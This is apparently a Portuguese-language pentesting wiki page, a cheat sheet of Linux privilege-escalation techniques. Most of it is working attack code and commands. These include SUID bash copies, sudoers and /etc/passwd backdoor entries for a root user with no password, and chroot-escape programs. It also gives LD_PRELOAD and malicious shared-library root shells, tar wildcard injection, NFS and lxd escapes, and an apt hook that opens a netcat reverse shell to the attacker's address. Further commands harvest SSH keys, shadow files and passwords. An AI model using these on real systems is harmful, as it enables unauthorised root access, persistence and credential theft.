> For the complete documentation index, see [llms.txt](https://mysther.gitbook.io/knowledge-base/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://mysther.gitbook.io/knowledge-base/ataques/linux/privilege-escalation.md).

# Privilege Escalation

Para realizar um PrivEsc em Linux, podemos seguir os seguintes itens como um manual de uso:

* Exploits do Kernel
* Programas executando com root
* Softwares Instalados
* Reúso de Senha(s)
* Services
* Suid Misconfiguration
* sudo-rights
* Scripts que o root utiliza com permissão de escrita
* Bad Path Configuration
* Cronjobs
* Unmounted File Systems

{% hint style="success" %}
**DICA**: Sempre que conseguir ter acesso root, podemos fazer uma cópia do bash com SUID ativo para acessarmos diretamente. Para isso basta executar os comandos:\
\
**cp /bin/bash /tmp/bash; chmod +s /tmp/bash ; /tmp/bash**
{% endhint %}

{% hint style="warning" %}
**IMPORTANTE**: Sempre que tiver permissões para utilizar alguma linguagem com privilégios elevados, utilize também seção de **`Code Injection`** para ver como aproveitar dessa falha.
{% endhint %}

###

### Ferramentas Automatizadas

Existem algumas ferramentas free muito boas, como `LinEnum`, `LinPEAS`, `Unix Privesc`, `Linprivchecker.py` e `Linux Smart Enumeration`. Também podemos contar com uma ferramenta chamada `pspy`, que  é uma ferramenta de linha de comando projetada para bisbilhotar processos sem a necessidade de permissões de root. Ele permite que você veja comandos executados por outros usuários, tarefas cron, etc., à medida que são executados. 

Para ambas, basta baixar na máquina alvo e executá-la.

#### LinEnum

```
$ ./LinEnum.sh
```

#### Unix Privesc Check

```bash
# Modo padrão
./unix-privesc-check standard

# Modo detalhado
./unix-privesc-check detailed
```

#### Linux Smart Enumeration

```bash
./lse.sh -l # Pouco detalhada
./lse.sh -l1 # Level 1 = Mostra mais informações que podem ajudar no PrivEsc
./lse.sh -l2 # Level 2 = Faz um dump de todas as informações reunidas sobre o sistema
```

#### Script Personalizado

O script abaixo trabalha de maneira semelhante ao pspy

```bash
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/mysther.tmp; sleep 0.1; done; sort /tmp/mysther.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/mysther.tmp;
```

### Comandos Úteis

```bash
# Lista todos os usuários com permissão root
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'

# Lista todos os UID's e seus respectivos grupos
for i in $(cat /etc/passwd 2>/dev/null| cut -d":" -f1 2>/dev/null);do id $i;done 2>/dev/null

# Lista os shells disponíveis
cat /etc/shells

# Serviços que estão sendo executados como root
ps aux | grep root

# Mostra os últimos comandos que foram executados
cat ~/.bash_history

# Verifica se você pode acessar outros diretórios do usuário para encontrar arquivos interessantes
ls -ahlR /root/

# Verifica se podemos ler os arquivos de histórico do root
ls -la /root/.*_history

# Verifique se há arquivos ssh interessantes no diretório de usuários atuais
ls -la ~/.ssh/

# Verifica configurações do inetd services
ls -la /usr/sbin/in.*

# Verifique os arquivos de log em busca de palavras-chave,por exemplo "pass" e mostra correspondências positivas
grep -l -i pass /var/log/*.log 2>/dev/null

# Lista arquivos abertos (a saída dependerá dos privilégios da conta atual)
lsof -i -n

# Lê o correio
cat /var/mail/root
cat /var/mail
cat /var/spool/mail

# Arquivos globais graváveis
find / -perm -2 -type f 2>/dev/null

# Arquivos globais graváveis, exceto em "/proc"
find / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null

# Diretórios globais que são graváveis
find / -perm -2 -type d 2>/dev/null

# Arquivos de configuração rhost
find /home –name *.rhosts -print 2>/dev/null

# Arquivos *.plan, lista permissões e lê o conteúdo dos arquivos
find /home -iname *.plan -exec ls -la {} ; -exec cat {} 2>/dev/null ;

# Procura hosts.equiv, lista permissões e lê o conteúdo dos arquivos
find /etc -iname hosts.equiv -exec ls -la {} 2>/dev/null ; -exec cat {} 2>/dev/null ;

# Informações do SSH keys/host
find / -name "id_dsa*" -o -name "id_rsa*" -o -name "known_hosts" -o -name "authorized_hosts" -o -name "authorized_keys" 2>/dev/null |xargs -r ls -la

# Lista arquivos dentro de um diretório específico. No exemplo abaixo usamos "/var/log"
find /var/log -type f -exec ls -la {} ; 2>/dev/null

# Lista arquivos ".log" dentro de um diretório específico. No exemplo abaixo usamos "/var/log"
find /var/log -name *.log -type f -exec ls -la {} ; 2>/dev/null

# Lista arquivos .conf dentro de /etc (recursividade de 1 level)
find /etc/ -maxdepth 1 -name *.conf -type f -exec ls -la {} ; 2>/dev/null

# Lista arquivos ".conf" (recursividade de 4 levels) e número da linha de saída em que a palavra "password" está localizada
find / -maxdepth 4 -name *.conf -type f -exec grep -Hn password {} ; 2>/dev/null

# Diretórios de arquivos graváveis
find / -writable -type d 2>/dev/null
find / -perm -222 -type d 2>/dev/null
find / -perm -o w -type d 2>/dev/null

# Procurando arquivo com SUID ativo
find / -perm -u=s -type f -exec ls -lh {} \; 2>/dev/null

# Procurando arquivo com GUID ativo
find / -perm -g=s -type f -exec ls -lh {} \; 2>/dev/null

# Arquivo com permissão de leitura
find / -type f -readable -ls 2>/dev/null

# Diretórios executável
find / -perm -o x -type d 2>/dev/null

# Diretórios graváveis e executáveis
find / \( -perm -o w -perm -o x \) -type d 2>/dev/null

# Listando arquivos com permissão
find / -type f -writable -path /sys -prune -o -path /proc -prune -o -path /usr -prune -o -path /lib -prune -o -type d 2>/dev/null

# Listando diretórios com permissão
find / -regextype posix-extended -regex "/(sys|srv|proc|usr|lib|var)" -prune -o -type d -writable 2>/dev/null

# Procurando por variáveis globais do PHP: $_POST[''], $_GET[''], $_SESSION[''], $_REQUESTS[''] e $_COOKIE['']
grep -R -i '$_[PGSRC].*\[' .

# Procurando por métodos perigosos do PHP: shell, exec, shell_exec, system, passthru, eval, open, unserialize, include, file_put_contents
grep -R -i 'shell\|exec\|shell_exec\|system\|passthru\|eval\|open\|unserialize\|include\|file_put_contents' .
```

As vezes é melhor definirmos datas de modificação nos arquivos que estamos buscando para ter um resultado melhor e mais limpo, como no exemplo abaixo:

```bash
find / -type f -newermt 2019-07-03 ! -newermt 2019-07-31 -ls 2>/dev/null
```

###

### SSH

Arquivos onde contém chaves de SSH. Geralmente ficam em `/home/<user>/.ssh/`:

```
authorized_keys
id_rsa
id_rsa.keystore
id_rsa.pub
known_hosts
```

###

### Exploit em Kernel

Sempre que precisar procurar algum exploit em kernel, utilize a seguinte Dork no Google: `site:exploit-db.com kernel <version>`.

Caso o Linux use Kernel na versão `2.6.39`, utilize os seguintes comandos para virar root no SO:

```bash
gcc mempodipper.c -o mempodipper
./mempodipper
```

{% hint style="danger" %}
**IMPORTANTE**\
Não use explorações do kernel se você puder evitá-lo. Se você usá-lo, pode travar a máquina ou colocá-la em um estado instável, além de produzir muitos registros em `sys.log`. Portanto, as explorações do kernel devem ser o último recurso. Tente usar um priv-esc mais simples
{% endhint %}

###

### MySQL

Se estiver logado no mysql via terminal e quiser utilizar o terminal do SO com as mesmas autenticações do MySQL, basta utilizar o comando: `\! sh`. Caso o MySQL estiver sendo executado como root, isso acaba se tornando um fácil PrivEsc.

###

### Adicionando User ao Grupo sudo

#### Utilizando senha para usar sudo

```bash
usermod -aG sudo <user>
echo "<user> ALL=(ALL) ALL" >> /etc/sudoers
```

#### Sem utilizando senha para usar sudo

```
usermod -aG sudo <user>
echo "<user> ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
```

###

### Lendo Permissões Personalizadas

Útil para saber se o usuário atual tem permissões para acessar determinadas ferramentas e/ou comandos como outro usuários (incluindo o root), sem pedir senha. Esse comando irá ler o arquivo `/etc/sudoers`.&#x20;

{% hint style="success" %}
**DICA**: Ao editar o arquivo **`/etc/sudoers`**, utilize o comando **`visudo`**, pois este já verifica erros de sintaxe.
{% endhint %}

```bash
# Comando
sudo -l

# Saída
root ALL=(ALL:ALL) NOPASSAWD:/bin/cp
```

{% hint style="warning" %}
**IMPORTANTE**: Pode acontecer do `sudo -l` não conseguir pegar as permissões, então certifique-se de olhar no arquivo /etc/sudoers e também nos arquivos presentes em `/etc/sudoers.d/`.
{% endhint %}

Pegando a saída de exemplo, vamos ter as seguintes considerações:

| SAÍDA DO COMANDO | EXPLICAÇÃO                                                                                   |
| ---------------- | -------------------------------------------------------------------------------------------- |
| `root`           | Usuário com permissão sudo                                                                   |
| `ALL=`           | Todos os terminais                                                                           |
| `(ALL:ALL)`      | User:Group. ALL:ALL pode ser substituído por somente ALL                                     |
| `NOPASSAWD`      | "TAG opcional" para indicar que não precisará de senha                                       |
| `/bin/cp`        | <p>Path do diretórios. Se houver mais de um arquivo, pode separá-los com uma vírgula<br></p> |

Se tiver um `<user> ALL=ALL`, o usuário terá acesso a todo o sistema e automaticamente a tag `NOPASSWD` estará ativo.

Adicione a linha a baixo em `/etc/sudoers` para permitir que acesse qualquer comando como root, sem precisar de confirmar a senha atual

```bash
<user> ALL=NOPASSWD:ALL
```

Podemos também, ter a  saída abaixo, que significa que podemos executar o `bash` de qualquer usuário, menos do `root`.

```
(ALL, !root) /bin/bash
```

Na teoria isso funciona, mas na prática, não. Podemos burlar essa regra em determinadas versões do sudo para pegarmos acesso root, executando o seguinte comando:

```
sudo -u#-1 /bin/bash
```

### Usuários com Senha em Branco

Para pegar todos os usuários que tem senha em branco, utilize o comando

```bash
cut -d: -f1,2,3 /etc/passwd | grep ::
```

### Criando Usuário root Manualmente

A funcionalidade desse tipo de criação de usuário, serve para criar um usuário que servirá como um Backdoor. Para isso, insira a linha abaixo em `/etc/passwd` e acesse com o novo usuário que tem permissões de root:

```bash
# Caso exista o arquivo /etc/shadow
<usuario>:x:0:0:<comentario>:/:/bin/bash

# Caso não exista o arquivo /etc/shadow
<usuario>::0:0:<comentario>:/:/bin/bash
```

> **EXPLICAÇÃO**\
> `<usuario>` = Nome do usuário / login\
> `x` = Área da senha do usuário. Quando tem um "x" significa que a senha está localizada em `/etc/shadow/`. Caso tenha um asterísco (\*), significa que a conta está desativada\
> `0` = Define o UID (User ID) que varia e 0 a 60000, sendo o UID reservado para o `root`, de 1 a 499 para sistemas e partir de 500 para usuários\
> `0` = Define o GID (Group ID) que o usuário pertence. Para ver os grupos disponíveis, confira o arquivo `/etc/group`\
> `<comentario>` = Informações adicionais do usuário, que pode ser visto pelo comando `finger`\
> `/` = Diretório de Login `/bin/bash` = Path absoluto da shell definida para o usuário

Agora vá em `/etc/shadow` e adicione:

```bash
<usuario>::11367::::::
```

> **EXPLICAÇÃO**\
> `<usuario>:` = Login / ID do usuário\
> `:` = (Parâmetro vazio) Senha criptograda\
> `11367:` Números em dias da última data de alteração\
> `:` = (Parâmetro vazio) Números mínimo em dias para mudança de senha\
> `:` = (Parâmetro vazio) Números máximo em dias para mudança de senha\
> `:` = (Parâmetro vazio) Números máximo em dias que o usuário pode ficar inativo\
> `:` = (Parâmetro vazio) Data de expiração da conta\
> `:` = (Parâmetro vazio) Flag reservado

Depois disso já pode acessar com o novo usuário (senha em branco)

###

### Serviços Locais

Pode ser que o usuário esteja executando algum serviço disponível apenas nesse host e você não pode se conectar ao serviço de fora. Esses serviços podem estar em execução como root ou podem ter vulnerabilidades neles. Eles podem ser ainda mais vulneráveis, pois o desenvolvedor ou usuário pode estar pensando que, uma vez que é acessível apenas para um usuário específico, não precisamos gastar tanta segurança".

```bash
netstat -anltup
netstat -ano
```

Podemos também ver quais portas locais estão abertas com esse serviço

```bash
ss -nlt
```

###

### Pegando Chave SSH

Ao ter acesso ao shell do nosso alvo, podemos listar todos os usuários em `/etc/passwd`, e depois podemos executar o seguinte comando para pegarmos a chave SSH:

```bash
cat /home/<user>/.ssh/id_rsa | tee <user>.key
```

Agora jogue o resultado que sair no terminal para sua máquina local em um arquivo chamado `<user>.key` e execute os comandos:

```bash
chmod 600 <user>.key
ssh <user>@<ip_alvo> -i <user>.key
```

Assim você acessa ao SSH do alvo sem precisar inserir a senha

###

### Link Simbólico

Criar um link simbólico de um comando para outro (ex.: de `ls` para `cat`) também pode ser uma maneira de escalar privilégios

###

### Procurando strings em arquivos

Útil para procurar arquivos com palavras chave como: `pass`, `senha`, `key`, `secret`, `api`, `http`, `db`, `database`, `ssh`, `ftp`, `mail`, `access`, etc

```bash
grep </diretorio/projeto> -irnw -e '<string_a_ser_procurada>'
```

###

### Permissão de Escrita em /etc/passwd

Podemos criar um novo usuário e informando um **\*** no segundo parâmetro. Geralmente o segundo parâmetro é um **x**, o que significa que a senha está localizada em `/etc/shadow`. Informando um **\***, estamos configurando nosso usuário para que não precise de senha para utilizar o SO.\
\
Também podemos gerar um hash de uma determinada senha, e alterar manualmente o segundo parâmetro de `/etc/passwd` (que seria o **x** ou **\***), com as seguintes maneiras:

####

```bash
# Python
python -c 'import crypt; print crypt.crypt("<nova_senha>", "$6$salt")'

# OpenSSL
openssl passwd <nova_senha>
openssl passwd -1 <nova_senha>
openssl passwd -1 -salt <salt> <nova_senha>

# makepasswd
echo '<nova_senha>' | makepasswd --clearfrom=- --crypt-md5 | cut -d' ' -f4
```

Após gerar a senha (hash), execute o comando abaixo para inserir o novo usuário no /etc/passwd.

```bash
 echo "<novo_usuario>:<hash_gerado>:0:0:root:/root:/bin/bash" >> /etc/passwd
```

Agora basta acessá-lo:

```bash
su <novo_usuario>
```

### Permissão de Escrita em /etc/shadow

Após ter permissão de escrita em shadow, altere a senha do root (ou crie outro user caso tenha permissão tamém em `/etc/passwd`), gerando a senha com o comando abaixo e manipulando o arquivo `/etc/shadow`, substituindo a resultado do comando abaixo, pela linha referente ao root, que geralmente é a primeira linha do arquivo.

```bash
echo "root:$(mkpasswd -m sha-512 <nova_senha> foobarbaz):12345:0:::::"
```

### Permissão de Escrita no Diretório /etc/apt/apt.conf.d

Caso tenha permissão de escrita dentro do diretório `/etc/apt/apt.conf.d`, crie um arquivo chamado `pwn`, com o seguinte conteúdo:

```bash
APT::Update::Pre-Invoke {"<command>";};
```

Após isso, deve-se executar o comando `apt-get update`, com um usuário com permissões privilegiadas. Em alguns cenários, esse comando é disparado a cada 2 minutos automaticamente, então verifique isso com `pspy.py`.

Caso queira fazer tudo em um único comando, execute:

```bash
echo 'apt::Update::Pre-Invoke {“rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ip_atacante> <port> >/tmp/f”};' > /etc/apt/apt.conf.d/pwn
```

### chroot

#### C

Crie um arquivo chamado `exploit.c` com o seguinte conteúdo:

```c
#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>

int main(void)
{
        mkdir("chroot-dir", 0755);
        chroot("chroot-dir");
        for(int i=0; i < 1000; i++)
        {
                chdir("..");
        }
        chroot(".");
        system("/bin/bash");
}
```

Depois execute:

```bash
gcc exploit.c -o exploit
chmod +x exploit
./exploit
```

#### Python

```bash
#!/usr/bin/python
import os

os.mkdir("./chroot-dir")
os.chroot("./chroot-dir")

for i in range(1000):
	os.chdir("..")

os.chroot(".")
os.system("/bin/bash")
```

Agora basta executar:

```bash
python <file.py>
```

#### PERL

```bash
#!/usr/bin/perl
mkdir "chroot-dir";
chroot "chroot-dir";

foreach my $i (0..1000) {
        chdir ".."
}
chroot ".";
system("/bin/bash");
```

Agora basta executar:

```bash
perl <file.pl>
```

###

### getcap

```
getcap -r / 2>/dev/null
```

A saída deve ser semelhante a `/usr/bin/python2.6 = cap_setuid+ep`, então execute o comando abaixo para ter acesso root:

```
/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'
```

### rbash

#### vi

```
sudo vi
(esc) :set shell=/bin/sh
(esc) :shel
```

#### find

```
find /bin -name bash -exec {} \;
```

### Rsync

Geralmente temos o arquivo `/etc/rsyncd.secrets` que contém as credenciais de acesso, porém caso não ache esse arquivo,  leia o conteúdo do arquivo `/etc/rsyncd.conf` e veja o valor de `secrets file`.

### Sistemas de Arquivos Não Montados

Quando acharmos sistemas de arquivos não montados, podemos montar e iniciar o processo PrivEsc. O primeiro método que podemos utilizar, é a leitura do arquivo `fstab`, procurando por algum volume que esteja como `none` (caso seja necessáio, utilize um `grep`).

```bash
cat /etc/fstab
cat /etc/fstab | grep none
```

Outra maneira de realizarmos tal verificação, são com os comandos abaixo:

```
mount -l
lsblk
```

### Screen

Esse exploit funciona somente na versão `4.5.0` (às vezes pode ser visto como `4.05.00`). Baixe o `screen2root` (disponível na página `Softwares` deste gitbook) e execute.\
Fora isso, também podemos listar todas as Screens ativas e, caso uma delas esteja com o usuário root, podemos pegar a sessão.

```bash
# Lista todas as sessões
screen -ls

# Cria uma screen
screen -S <name_screen>

# Entra em uma screen
screen -x <id_screen>

# Sai de uma screen, mantendo ativa. Caso execute o comando "exit", a screen será deletada
CTRL + A + D
```

###

### Cronjob

O arquivo principal de Cronjob é o `/etc/crontab` e nele podemos ver scripts que são executados como root e que podem ter permissão de escrita.\
Também podemos ver com o comando `crontab -l` (que irá ler `/var/spool/cron/crontabs/<user>`) se há alguma crontab configurado para o nosso user atual. E por último utilize os comandos abaixo para verificar se há informações importantes:

```bash
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
grep CRON /var/log/cron.log
```

Também podemos fazer um PrivEsc através do Cronjob, alterando o caminho de chamadas que está utilizando o PATH para realizar a execução de algum arquivo. Vamos considerar a seguinte crontab abaixo (demais linhas foram ocultadas para melhor leitura):

```bash
SHELL=/bin/sh
PATH=/home/mysther:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

* * * * * root script.sh
```

Note que o arquivo `script.sh` será procurado nos diretórios definidos em `PATH`, seguindo da esquerda para a direita, então se criarmos um arquivo chamado `script.sh`, localizado em `/home/mysther`, ele será executado com privilégios root.

Se preferir, pode fazer a cron criar um bash com SUID ativo para conectar-se como root depois.

```bash
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/mysther/script.sh
/tmp/bash -p
id
```

Outra forma de fazermos isso, é quando o script utiliza o comando `cd` para alterar de diretório, criando assim uma nova forma de atacar em um determinado path. No trecho abaixo podemos verificar uma falha de path, pois após entrar no diretório `/home/mysther`, o executável `cat` pode ser explorado, já que o mesmo não possui o path completo. Para este cenário, basta criar um arquivo malicioso com o nome `/home/mysther/cat`.

```bash
*/01 * * * * root cd /home/mysther && cat file > /tmp/file
```

### exports

Primeiro execute o comando abaixo e verifique se encontra uma saída semelhante a `/tmp *(rw,sync,insecure,no_root_squash,no_subtree_check)`:

```bash
grep no_root_squash /etc/exports
```

Caso tenha um resultado positivo, execute os seguintes comando na máquina atacante:

```bash
showmount -e <ip_alvo>
mkdir /tmp/test
cd $_
mount -o rw,vers=2 <ip_alvo>:/tmp /tmp/1

echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > exploit.c
# Ignore os erros, caso tenha
gcc exploit.c -o exploit
chmod +s exploit
```

Volte para a máquina alvo e execute (lembre-se de verificar o diretório de montagem, que no nosso exemplo é o `/tmp`):

```bash
/tmp/exploit
id
```

### Permissão de Disco

Se o usuário for membro do grupo Disco, podemos ler o conteúdo do sistema de arquivos

```bash
debugfs /dev/sda
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow
```

###

### Permissão de Vídeo

Se o usuário for membro do grupo Vídeo, podemos ler o Framebuffer

```bash
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
```

###

### Arquivos Modificados Recentemente

```bash
find /etc -type f -printf '%TY-%Tm-%Td %TT %p\n' | sort -r
find /home -type f -mmin -60
find / -type f -mtime -2
```

###

### TMUX

Ferramenta semelhante a `screen`, que permite múltiplas sessões no terminal. Assim como o `screen`, se tiver uma sessão aberta como root será um fácil PrivEsc.

Primeiro podemos listar as sessões que estão abertas com o comando:

```
tmux ls
```

\
Analisando o serviço com o comando `ps aux | grep -i tmux`, podemos ter um retorno de algo parcido como `/usr/bin/tmux -S /.devs/dev_sess`. Verificando as permissões com `ls -la /.devs/dev_sess` podemos ver o usuário e, caso seja de interesse, acessarmos a sessão com o comando&#x20;

```
tmux -S /.devs/dev_sess
```

### Variáveis de Ambiente

#### SO

Supondo que temos um derterminado comando que está sendo executado como `root`, por exemplo `script.sh`, podemos criar um arquivo com o mesmo nome em um diretório diferente e fazer o `root` executá-lo. Vamos supor que temos a seguinte resultado ao executar o comando: **`echo $PATH`**

```
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
```

O arquivo `script.sh` está localizado em `/usr/bin`, porém se criarmos um arquivo com o mesmo nome, no diretório `/usr/local/bin`,  ele que será executado, pois a leitura é sempre feita nos diretórios que estão em `$PATH`, seguindo da esquerda para a direita.

#### Python

Seguindo o exemplo acima podemos fazer isso o Python. Vamos supor que temos o seguinte arquivo chamado `script.py` que está sendo executado como `root` (SUID Bit).

{% hint style="info" %}
**OBS.:** Ao executar `sudo -l`, certifique-se de que pode alterar as variáveis de ambiente, como no exemplo a seguir: **`(ALL) SETENV: </path/to/file>`**
{% endhint %}

```python
from shutil import make_archive

src = '/var/log'
dst = '/var/log2'

make_archive(dst, 'gztar', src)
```

Então vamos criar um arquivo chamado `shutil.py` (que irá conter um código malicioso como uma Reverse Shell) e executar o script com o seguinte comando:

```
sudo PYTHONPATH=. script.py
```

{% hint style="info" %}
**OBS.:** Antes de fazer esse processo, verifique o Path das Bibliotecas, pois caso tenha acesso a escrita, será bem mais fácil modificá-los diretamente. Para verificar esse path, execute  o comando&#x20;

```python
python3 -c 'import sys; print ("\n".join(sys.path))'
```

{% endhint %}

### pip

```bash
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF
```

### LD\_PRELOAD

Para que esse tipo de PrivEsc dê certo, primeiro execute o `sudo -l` (abaixo segue um exemplo de saída) e verifique se aparece o `LD_PRELOAD` (geralmente vem como `env_keep+=LD_PRELOAD`) na lista de `Matching Defaults`. Nesse caso, o comando `/usr/bin/find` está com privilégios, então iremos utilizá-lo para realizar nosso ataque

```
Matching Defaults entries for teste on win:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, env_keep+=LD_PRELOAD

User teste may run the following commands on win:
    (ALL : ALL) NOPASSWD: /usr/bin/find
```

Agora execute os comandos abaixo com o usuário `teste`:

```bash
cd /tmp
nano shell.c
```

Insira o código abaixo:

```c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/sh");
}
```

Agora converta o arquivo feito em `C` em `so` (extensão de lib em Linux, equivalente a `dll` no Windows):

```bash
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
```

E então execute-o utilizando o comando `find` (que estamos usando como exemplo) para escalar privilégio:

```bash
sudo LD_PRELOAD=/tmp/shell.so find
```

###

### Compartilhamento NFS

Se a máquina tiver algum compartilhamento NFS mal configurado, podemos utilizá-lo para aumentar nossos privilégios, pois podemos ler arquivos remotos do alvo.

Verificando se o alvo possui qualquer compartilhamento NFS :

```bash
showmount -e <ip>
sudo nmap --script=nfs-showmount <ip>
```

Um ponto importante é sabermos também qual a versão do NFS:

```
rpcinfo -p <ip> | grep nfs
```

Caso o resultado seja positivo, podemos montar a unidade em nosso SO.

```bash
# Criando um diretório para acessar os arquivos remotos
mkdir /tmp/nfsdir

# Realizando a montagem com 2 maneiras diferentes
mount -t nfs -o nfsvers=<version> <ip>:<directory_mount> /tmp/nfsdir
mount -t nfs <ip>:<directory_mount> /tmp/nfsdir
```

Assim como podemos montar o compartilhamento em nosso host, podemos também desmontá-lo, com o seguinte comando:

```
umount /tmp/nfsdir
```

#### Aumentando Privilégios de Forma Manual

Depois de criarmos a montagem, podemos receber mensagem de `access denied,` que podemos burlar. Por razões de "segurança", o NFS 4 não mostra o uid e gid remotos reais, mas sim o que corresponde ao usuário e grupo `nobody`. No entanto, o NFS 3 mostra o uid e gid remotos reais do proprietário do compartilhamento, o que nós dá uma grande vantagem (caso o NFS 3 esteja disponível), já que podemos criar um usuário/grupo com o mesmo uid/gid.&#x20;

Utilizando o comando `mount` (descrito acima), podemos definir o valor de parâmetro `nfsvers` como 3 e depois verificar os respectivos uid/gid, utilziando os comandos abaixo:

```bash
ls -lha <mount_dir>
ls -ld <mount_dir>
stat <mount_dir>
```

Após isso, já sabemos os valores de uid e gid necessários para acessar o(s) arquivo(s), então vamos criar nosso user que possui tais permissão:

```bash
groupadd --gid <gid> <mysther_group>
useradd --uid <uid> --groups <mysther_group> <mysther_user>
sudo -u <mysther_user> ls -l <mount_dir>
```

{% hint style="info" %}
**DICA**: O processo acima também pode ser feito com o comando **`sudo adduser mysther`** e depois alterando o UID e GID do usuário mysther no arquivo **`/etc/passwd`**.
{% endhint %}

#### Aumentando Privilégios com NfSpy

```bash
nfspy -o server=<ip>:<directory_mount>,nfsport=2049/tcp,rw <mount_dir>
```

#### Compartilhamento NFS antigo

Utilize o `-o nolock` para desabilitar o bloqueio de arquivos.

```bash
mkdir </mnt/new_folder>
sudo mount -o nolock <ip>:/<directory> </mnt/new_folder/>
ls -lha </mnt/new_folder>
```

### MOTD

Caso possua permissões de escrita no diretório `/etc/update-motd.d`, execute o comando abaixo para sobrescrever o arquivo `00-header`.

```bash
echo "cp /bin/bash /tmp/bash && chmod u+s /tmp/bash" >> /etc/update-motd.d/00-header0
```

Agora para que o arquivo seja executado, é preciso realizar login (pode utilizar o SSH) para que o arquivo 00-header seja executado como root. Assim que executado, podemos ver o arquivo /tmp/bash com SuidBit ativo, então execute o comando abaixo para pegar acesso root.

```bash
/tmp/bash -p
```

### tar

Para que isso dê certo, certifique-se antes que o usuário alvo (de preferência root) esteja utilizando um comando semelhante a:

```bash
tar czf <new_file.tar.gz> *
```

Levando em conta de que isso esteja ocorrendo e que estamos todos no mesmo diretório, vamos criar 1 arquivo que será executado pelo bash e 2 arquivos (que irão servir como parâmetros) para a execução do primeiro arquivo criado.

```bash
echo '<command>' > shell.sh
touch ./--checkpoint=1 ./--checkpoint-action=exec=bash\ shell.sh
```

Agora assim que o comando `tar` for executado, o arquivo `shell.sh` também será executado, usando os privilégios do mesmo usuário que executou o `tar`.<br>

### VIM

```bash
/tmp/vim -c ':py3 import os ; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
```

###

### Library Ausente

Quando temos SETUID em um executável que execute/procura por algum arquivo `.so` e não o localiza, podemos então criar o nosso próprio arquivo `.so` malicioso. Para sabermos onde que devemos salvar esse arquivo, devemos antes ler os arquivos presentes em `/etc/ld.so.conf.d/` para descobrir o diretório das libs compartilhadas e depois criar um arquivo com extenção `.c`, contendo o conteúdo abaixo.

```bash
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int test(){
        setuid(0);
        setgid(0);
        system("/bin/bash");
}
```

Alguns código podem manter o diretório em hardcoded, então podemos buscar através do seguinte comando:

```bash
objdump -x <file> | grep RPATH
```

Note que no código acima estamos utilizando uma função chamada `test` (linha 5), que deve ser alterado para o nome correto da function. Geralmente podemos ver o nome em erros como: `<function>: symbol lookup error: <function>: undefined symbol: <function>` Após isso, vamos compilá-lo:

```bash
gcc -shared -o <file.so> -fPIC <file.c>
```

Agora basta executar novamente o executável que chama o arquivo `.so`.

É comum pergamos cenário onde o binário irá ler alguma alguma variável do arquivo `.so`, então somos obrigado a definí-lo. Para contornar isso e acessar o bash, podemos utilizar um `constructor` da seguinte forma:

```bash
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

int <variavel_obrigatoria>=1234;
void inject()__attribute__((constructor));
void inject()
{
	setuid(0);
	setgid(0);
	system("/bin/bash");
}
```

###

### Vault

Com o vault, podemos gerar uma senha SSH do usuário root, caso uma má configuração permita isso

```bash
vault write ssh/creds/<name_otp> ip=<ip_alvo>
# Ou
vault ssh -role <name_otp> -mode otp <user>@<ip>

# No exemplo abaixo, a senha (OPT Token da sessão) irá aparecer, então basta utilizar a senha fornecida
vault ssh <user>@<ip>
```

### lxd

Verifique com o comando `id`, se o usuário atual faz parte do grupo `lxd`. Caso seja positivo, execute o comando abaixo no host atacante.

```basic
git clone  https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine
```

Transfira o arquivo `alpine-v<version>.tar.gz` para o host alvo e depois execute os seguintes comandos (no host alvo).

```bash
lxc init <myimage> ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/root path=/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
```

Agora com permissão root, acesse o diretório `/mnt/root` para visualizar todo os arquivos do SO.&#x20;

### Softwares de Terceiros Instalados

Geralmente os softwares de terceiros vão estar em diretórios comuns como:

```bash
/usr/local/
/usr/local/src
/usr/local/bin
/opt/
/home
/var/
/usr/src/
```

Podemos também ver os pacotes instalados com os comandos:

```bash
# Debian
dpkg -l

# CentOS, OpenSuse, Fedora, RHEL
rpm -qa

# OpenBSD, FreeBSD
pkg_info
```

###

### Senhas em Texto Limpo

Geralmente podemos pegar tais senhas em arquivos de configurações. Útil também ver nas configurações de e-mail em `/var/spool/mail`.\
Com o `Linenum`, podemos buscar por senhas utilizando o comando: `LinEnum.sh -t -k password`.

###

### Arquivos Temporários

Muitos administradores tem mania deixar arquivos importantes em `/tmp` e `/var/tmp`. Ambos serve, para armazenar arquivos temporários, mas, apesar do nome, `/var/tmp` não tem é um diretório que exclui todos os seus arquivos ao reiniciar o SO, diferentemente do `/tmp`.

###

### Finger

Mostrando informações do usuário, como senhas telnet.

